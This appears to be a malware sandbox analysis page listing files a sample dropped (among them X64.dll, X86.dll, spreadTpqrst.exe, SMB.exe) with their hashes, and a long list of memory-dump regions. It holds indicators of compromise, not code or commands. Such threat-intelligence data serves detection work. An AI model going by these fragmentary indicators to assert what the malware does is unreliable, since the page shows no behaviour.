MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\X64.dllFilesize
85KB
MD5c7fad963ad8e46e773dc5ee9177ab218
SHA192a68b223b2d2e501c1f0123fabf63e15fff4d11
SHA2567417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc
SHA512efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c
-
C:\ProgramData\X86.dllFilesize
71KB
MD56946ca0cbe6af8558a02a4b4cf3faf10
SHA18a357dded531c4fee07ae7d1093c476ae5010a92
SHA256c4c21683f4aea7400dc25cb2b7b9c74a65cf5de6d9e331bfbeda1e94b0d3855c
SHA512bad8229fbb64c03bb01a618f8508d23b9cd5eed20f63a4027a5f3bad32672c62ad8000fcdc5106f738f736cc2cf1a5fafaf541a5e7749bd0e874ee35ded840ba
-
C:\ProgramData\spreadTpqrst.exeFilesize
1.3MB
MD523d84a7ed2e8e76d0a13197b74913654
SHA123d04ba674bafbad225243dc81ce7eccd744a35a
SHA256ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301
SHA512aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c
-
C:\Users\Admin\AppData\Local\Temp\2d927fdb462570728a981443bf36d19f.exeFilesize
9.0MB
MD52d927fdb462570728a981443bf36d19f
SHA1eb4f351d937729b14a196bf228ba12a2ff07e73e
SHA256d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
SHA512efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9
-
\ProgramData\SMB.exeFilesize
3.1MB
MD57b2f170698522cd844e0423252ad36c1
SHA1303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5
SHA2565214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994
SHA5127155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa
-
memory/1000-169-0x000000013F6C0000-0x000000013FD04000-memory.dmpFilesize
6.3MB
-
memory/1000-171-0x000000013F6C0000-0x000000013FD04000-memory.dmpFilesize
6.3MB
-
memory/1040-11-0x0000000000100000-0x0000000000114000-memory.dmpFilesize
80KB
-
memory/1040-141-0x000000013FA30000-0x0000000140074000-memory.dmpFilesize
6.3MB
-
memory/1040-135-0x000000013FA30000-0x0000000140074000-memory.dmpFilesize
6.3MB
-
memory/1040-10-0x000000013FA30000-0x0000000140074000-memory.dmpFilesize
6.3MB
-
memory/1196-182-0x000000013F320000-0x000000013F964000-memory.dmpFilesize
6.3MB
-
memory/1196-184-0x000000013F320000-0x000000013F964000-memory.dmpFilesize
6.3MB
-
memory/1508-158-0x000000013F790000-0x000000013FDD4000-memory.dmpFilesize
6.3MB
-
memory/1508-156-0x000000013F790000-0x000000013FDD4000-memory.dmpFilesize
6.3MB
-
memory/1576-9-0x00000000041C0000-0x0000000004804000-memory.dmpFilesize
6.3MB
-
memory/1576-151-0x00000000041C0000-0x0000000004804000-memory.dmpFilesize
6.3MB
-
memory/1744-201-0x000000013FD90000-0x00000001403D4000-memory.dmpFilesize
6.3MB
-
memory/1744-199-0x000000013FD90000-0x00000001403D4000-memory.dmpFilesize
6.3MB
-
memory/1968-144-0x000000013F990000-0x000000013FFD4000-memory.dmpFilesize
6.3MB
-
memory/1968-146-0x000000013F990000-0x000000013FFD4000-memory.dmpFilesize
6.3MB
-
memory/1988-177-0x000000013FA40000-0x0000000140084000-memory.dmpFilesize
6.3MB
-
memory/1988-179-0x000000013FA40000-0x0000000140084000-memory.dmpFilesize
6.3MB
-
memory/1988-174-0x000000013FA40000-0x0000000140084000-memory.dmpFilesize
6.3MB
-
memory/2132-165-0x000000013FE70000-0x00000001404B4000-memory.dmpFilesize
6.3MB
-
memory/2132-163-0x000000013FE70000-0x00000001404B4000-memory.dmpFilesize
6.3MB
-
memory/2132-161-0x000000013FE70000-0x00000001404B4000-memory.dmpFilesize
6.3MB
-
memory/2564-194-0x000000013F4D0000-0x000000013FB14000-memory.dmpFilesize
6.3MB
-
memory/2564-196-0x000000013F4D0000-0x000000013FB14000-memory.dmpFilesize
6.3MB
-
memory/2664-187-0x000000013F470000-0x000000013FAB4000-memory.dmpFilesize
6.3MB
-
memory/2664-189-0x000000013F470000-0x000000013FAB4000-memory.dmpFilesize
6.3MB
-
memory/2664-191-0x000000013F470000-0x000000013FAB4000-memory.dmpFilesize
6.3MB
-
memory/2888-149-0x000000013F4F0000-0x000000013FB34000-memory.dmpFilesize
6.3MB
-
memory/2888-153-0x000000013F4F0000-0x000000013FB34000-memory.dmpFilesize
6.3MB
-
memory/2888-152-0x000000013F4F0000-0x000000013FB34000-memory.dmpFilesize
6.3MB